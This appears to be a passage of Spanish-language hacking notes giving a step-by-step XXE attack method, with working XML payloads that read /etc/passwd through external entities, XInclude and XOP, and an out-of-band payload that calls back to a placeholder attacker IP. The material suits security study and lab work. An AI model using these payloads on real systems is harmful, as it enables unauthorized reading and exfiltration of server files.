> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/xxe.md).

# XXE

#### 1. Fuzzing de Estructura (Provocar al Parser)

Antes de inyectar nada, necesitas saber con quién estás peleando.

* **La acción:** Envía un XML mal formado. Borra un corchete `>` de cierre, deja una etiqueta a medias o mete caracteres basura al inicio del documento.
* **El objetivo:** Forzar un error 500 (Stack Trace). Quieres que el servidor "vomite" el nombre de la librería que está usando (`org.apache.cxf`, `xerces`, `lxml`, `System.Xml`). Esto define el resto de tu ataque.

#### 2. XXE Clásico (XML External Entity - Inband)

Es el rey de las vulnerabilidades XML. Siempre se prueba primero porque, si funciona, ganas la máquina en el acto.

* **La acción:** Inyectas el DOCTYPE estándar apuntando a un archivo local.XML

```xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <content>&xxe;</content>
```

* **El objetivo:** Ver si el servidor tiene la resolución de entidades externas habilitada por defecto (muy común en parsers antiguos) y si el contenido se refleja en la respuesta HTTP.

#### 3. Blind XXE (Out-of-Band / OOB)

Si el paso 2 no refleja el contenido de `/etc/passwd` en tu pantalla, no significa que no sea vulnerable. Podría ser un entorno "ciego".

* **La acción:** Levantas un servidor en tu máquina (un simple `python3 -m http.server 80` o un listener de Netcat) y cambias el payload para que el servidor de la víctima te haga una petición HTTP o DNS a ti.XML

  ```xml
  <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://TU_IP_PARROT/prueba"> ]>
  <content>&xxe;</content>
  ```
* **El objetivo:** Si ves la petición llegar a tu consola, tienes un Blind XXE. A partir de ahí, puedes exfiltrar archivos forzando al servidor a enviártelos como parámetros en la URL o usando protocolos como `php://filter` o `ftp://`.

#### 4. XInclude (La alternativa cuando bloquean XXE)

Los desarrolladores modernos suelen apagar la función de Entidades Externas (`FEATURE_SECURE_PROCESSING`), matando el paso 2 y 3. Pero a menudo olvidan apagar `XInclude`, que es otro estándar legítimo del W3C para incrustar archivos.

* **La acción:** Omites el bloque DOCTYPE (ya que está bloqueado) y usas el namespace de XInclude directamente dentro de cualquier etiqueta permitida.XML

  ```xml
  <foo xmlns:xi="<http://www.w3.org/2001/XInclude>">
      <xi:include parse="text" href="file:///etc/passwd"/>
  </foo>
  ```
* **El objetivo:** Conseguir el LFI abusando de una característica que el parser considera "segura" en comparación con las entidades.

#### 5. Inyección de Atributos MTOM / XOP (Ataque al Framework)

Si llegas aquí, significa que el parser es robusto y tiene XXE y XInclude bien capados. Aquí es donde sacas el arsenal que usamos en esta máquina.

* **La acción:** Analizas si el backend es Java (Apache CXF/Axis) o .NET. Cambias a la fuerza la cabecera HTTP a `Content-Type: multipart/related; type="application/xop+xml"` e inyectas tu payload:XML

  ```xml
  <content>
      <xop:Include href="file:///etc/passwd" xmlns:xop="<http://www.w3.org/2004/08/xop/include>"/>
  </content>
  ```
* **El objetivo:** Engañar a los interceptores del framework para que hagan el trabajo sucio por ti, resolviendo URIs locales pensando que son adjuntos legítimos de un mensaje SOAP.

#### 6. XSLT Server-Side Injection

Si la aplicación toma tu XML y lo transforma en un PDF o en HTML (muy común en sistemas de reportes o facturación), el ataque no es contra el parser, sino contra el motor de transformación (XSLT).

* **La acción:** Inyectas código XSLT para leer archivos o ejecutar comandos.XML


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/xxe.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
